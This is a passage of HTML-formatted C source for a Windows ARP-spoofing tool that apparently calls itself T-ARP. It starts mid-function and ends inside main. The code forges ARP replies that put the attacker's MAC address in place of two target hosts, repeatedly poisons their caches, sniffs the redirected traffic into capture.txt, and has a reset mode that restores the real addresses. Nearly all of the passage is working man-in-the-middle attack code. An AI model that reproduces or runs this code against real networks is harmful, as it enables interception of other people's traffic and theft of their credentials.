<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(fmac,mmac,6);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(smac,mmac,6);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else if(!fm || !sm)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\nNot get enough data\n");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\nReset %.16s :&nbsp; ",inet_ntoa(fsin.sin_addr));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("%.16s ==&gt; ",inet_ntoa(ssin.sin_addr));</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(k=0;k&lt;5;k++)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("%.2x-",smac[k]);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("%.2x\n",smac[5]);</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("Reset %.16s :&nbsp; ",inet_ntoa(ssin.sin_addr));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("%.16s ==&gt; ",inet_ntoa(fsin.sin_addr));</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(k=0;k&lt;5;k++)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("%.2x-",fmac[k]);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("%.2x\n\n",fmac[5]);</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; stimes=FALSE;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\nNot get enough data\n"); <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; do<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(eth.eh_dst,fmac,6);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(arp.arp_tha,fmac,6);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; arp.arp_tpa=htonl(firstip);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; arp.arp_spa=htonl(secondip);</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(!stimes)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(eth.eh_src,smac,6);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(arp.arp_sha,smac,6);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(eth.eh_src,mmac,6);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(arp.arp_sha,mmac,6);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memset(sendbuf,0,sizeof(sendbuf));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(sendbuf,&amp;eth;,sizeof(eth));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(sendbuf+sizeof(eth),&amp;arp,sizeof(arp));</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(PacketSetNumWrites(lpadapter,2)==FALSE)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("Warning: Unable to send a packet 2 times\n");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("PacketSendPacket in SendSR Error: %d\n",GetLastError());<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sleep(1000);&nbsp; </font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(eth.eh_dst,smac,6);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(arp.arp_tha,smac,6);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; arp.arp_tpa=htonl(secondip);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; arp.arp_spa=htonl(firstip);</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(!stimes)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(eth.eh_src,fmac,6);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(arp.arp_sha,fmac,6);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(eth.eh_src,mmac,6);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(arp.arp_sha,mmac,6);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</font></p>
<font size=2>
<p><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memset(sendbuf,0,sizeof(sendbuf));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(sendbuf,&amp;eth;,sizeof(eth));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(sendbuf+sizeof(eth),&amp;arp,sizeof(arp));</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("PacketSendPacket int sendSR Error: %d\n",GetLastError());<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sleep(1000);<br>&nbsp;&nbsp;&nbsp; }while(stimes);</p>
<p>&nbsp;&nbsp;&nbsp; if(fun==4)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("Reset Successfully");</p>
<p>&nbsp;&nbsp;&nbsp; return 0;<br>}</p>
<p>int main(int argc,char *argv[])<br>{<br>&nbsp;&nbsp;&nbsp; HANDLE&nbsp;&nbsp; sthread,rthread;<br>&nbsp;&nbsp;&nbsp; WCHAR&nbsp;&nbsp;&nbsp; adaptername[8192];<br>&nbsp;&nbsp;&nbsp; WCHAR&nbsp;&nbsp;&nbsp; *name1,*name2;<br>&nbsp;&nbsp;&nbsp; ULONG&nbsp;&nbsp;&nbsp; adapterlength;<br>&nbsp;&nbsp;&nbsp; DWORD&nbsp;&nbsp;&nbsp; threadsid,threadrid;<br>&nbsp;&nbsp;&nbsp; struct&nbsp;&nbsp; NetType&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ntype;<br>&nbsp;&nbsp;&nbsp; struct&nbsp;&nbsp; bpf_stat&nbsp;&nbsp;&nbsp;&nbsp; stat;<br>&nbsp;&nbsp;&nbsp; struct&nbsp;&nbsp; sockaddr_in&nbsp; sin;<br>&nbsp;&nbsp;&nbsp; struct&nbsp;&nbsp; npf_if_addr&nbsp; ipbuff;<br>&nbsp;&nbsp;&nbsp; int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; adapternum=0,opti=0,open,i,total;<br>&nbsp;&nbsp;&nbsp; long&nbsp;&nbsp;&nbsp;&nbsp; npflen;</p>
<p>&nbsp;&nbsp;&nbsp; system("cls.exe");<br>&nbsp;&nbsp;&nbsp; start();</p>
<p>&nbsp;&nbsp;&nbsp; if(argc!=4)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; usage();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; getche();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; else<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(!strcmp(argv[1],"-m"))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; opti=1;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else if(!strcmp(argv[1],"-a"))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; opti=2;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else if(!strcmp(argv[1],"-s"))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; opti=3;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if((fp=fopen("capture.txt","w+"))==NULL)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("Open capture.txt Error: %d\n");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fwrite("T-ARP Captrue Data",20,1,fp);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else if(!strcmp(argv[1],"-r"))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; opti=4;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; usage();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; getche();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; }</p>
<p><br>&nbsp;&nbsp;&nbsp; firstip=ntohl(inet_addr(argv[2]));<br>&nbsp;&nbsp;&nbsp; secondip=ntohl(inet_addr(argv[3]));<br>&nbsp;&nbsp;&nbsp; total=secondip-firstip+1;</p>
<p>&nbsp;&nbsp;&nbsp; printf("\nLibarary Version: %s",PacketGetVersion());</p>
<p>&nbsp;&nbsp;&nbsp; adapterlength=sizeof(adaptername);</p>
<p>&nbsp;&nbsp;&nbsp; if(PacketGetAdapterNames((char *)adaptername,&amp;adapterlength)==FALSE)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("PacketGetAdapterNames Error: %d\n",GetLastError());<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; name1=adaptername;<br>&nbsp;&nbsp;&nbsp; name2=adaptername;<br>&nbsp;&nbsp;&nbsp; i=0;</p>
<p>&nbsp;&nbsp;&nbsp; while((*name1!='\0') || (*(name1-1)!='\0'))<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(*name1=='\0')<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(adapterlist[i],name2,2*(name1-name2));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; name2=name1+1;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i++;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; name1++;<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; adapternum=i;<br>&nbsp;&nbsp;&nbsp; printf("\nAdapters Installed:\n");<br>&nbsp;&nbsp;&nbsp; for(i=0;i&lt;adapternum;i++)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; wprintf(L"%d - %s\n",i+1,adapterlist[i]);</p>
<p>&nbsp;&nbsp;&nbsp; do<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\nSelect the number of the adapter to open: ");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; scanf("%d",&amp;open);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(open&gt;=1 &amp;&amp; open&lt;=adapternum)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; }while(open&lt;1 || open&gt;adapternum);</p>
<p>&nbsp;&nbsp;&nbsp; lpadapter=PacketOpenAdapter(adapterlist[open-1]);</p>
<p>&nbsp;&nbsp;&nbsp; if(!lpadapter || (lpadapter-&gt;hFile==INVALID_HANDLE_VALUE))<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("PacketOpenAdapter Error: %d\n",GetLastError());<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; if(PacketGetNetType(lpadapter,&amp;ntype))<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\n\t\t*** Host Information ***\n");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("[LinkTpye:]\t%d\t\t",ntype.LinkType);&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("[LinkSpeed:]\t%d b/s\n",ntype.LinkSpeed);<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; npflen=sizeof(ipbuff);&nbsp; <br>&nbsp;&nbsp;&nbsp; if(PacketGetNetInfoEx(adapterlist[open-1],&amp;ipbuff,&amp;npflen))<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sin=*(struct sockaddr_in *)&amp;(ipbuff.Broadcast);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("[Broadcast:]\t%.16s\t",inet_ntoa(sin.sin_addr));</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sin=*(struct sockaddr_in *)&amp;(ipbuff.SubnetMask);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("[SubnetMask:]\t%.16s\n",inet_ntoa(sin.sin_addr));</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sin=*(struct sockaddr_in *)&amp;(ipbuff.IPAddress);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("[IPAddress:]\t%.16s\t",inet_ntoa(sin.sin_addr));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; myip=ntohl(sin.sin_addr.s_addr);</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("[MACAddress:]");<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; else<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\nNot get enough data\n");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PacketFreePacket(lppackets);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PacketCloseAdapter(lpadapter);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; if((lppackets=PacketAllocatePacket())==FALSE)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("PacketAllocatePacket send Error: %d\n",GetLastError());<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; rthread=CreateThread(NULL,0,sniff,(LPVOID)&amp;opti,0,&amp;threadrid);<br>&nbsp;&nbsp;&nbsp; Sleep(300);</p>
<p>&nbsp;&nbsp;&nbsp; if(getmine()) <br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PacketFreePacket(lppackets);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PacketFreePacket(lppacketr);</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PacketCloseAdapter(lpadapter);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; Sleep(300);</p>
<p>&nbsp;&nbsp;&nbsp; if((opti==1) || (opti==2))<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(i=0;i&lt;total;i++)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&amp;opti,0,&amp;threadsid);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sleep(30);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sleep(1000);<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; else if((opti==3) || (opti==4)) <br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&amp;opti,0,&amp;threadsid);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sleep(300);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CloseHandle(sthread);</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sthread=CreateThread(NULL,0,sendSR,(LPVOID)&amp;opti,0,&amp;threadsid);<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; WaitForSingleObject(sthread,INFINITE); <br>&nbsp;&nbsp;&nbsp; CloseHandle(sthread);<br>&nbsp;&nbsp;&nbsp; CloseHandle(rthread);</p>
